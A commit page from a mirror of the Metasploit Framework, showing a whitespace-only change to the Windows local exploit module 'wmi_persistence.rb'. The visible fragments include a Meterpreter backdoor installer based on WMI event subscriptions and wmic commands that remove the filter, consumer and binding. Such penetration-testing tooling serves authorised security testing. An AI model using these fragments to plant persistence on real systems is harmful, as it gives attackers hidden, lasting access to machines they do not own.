infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

removed whitespace at end of lines

bug/bundler_fix
NickTyrer 2017-06-06 14:44:37 +01:00
parent 1831056010
commit 09e4974b99
1 changed files with 3 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
modules/exploits/windows/local/wmi_persistence.rb
View File

@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
'DisclosureDate' => 'June 06 2017',
'DisclosureDate' => 'Jun 6 2017',
'DefaultTarget' => 0,
'DefaultOptions' =>
{
@ -117,7 +117,7 @@ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class _
name_class = datastore['CLASSNAME']
clean_rc = log_file()
clean_up_rc = ""
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
file_local_write(clean_rc, clean_up_rc)
@ -139,7 +139,7 @@ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class _
end
case datastore['PERSISTENCE_METHOD']
when 'INTERVAL'
when 'INTERVAL'
psh_exec(subscription_interval)
print_good "Backdoor installed!"
@cleanup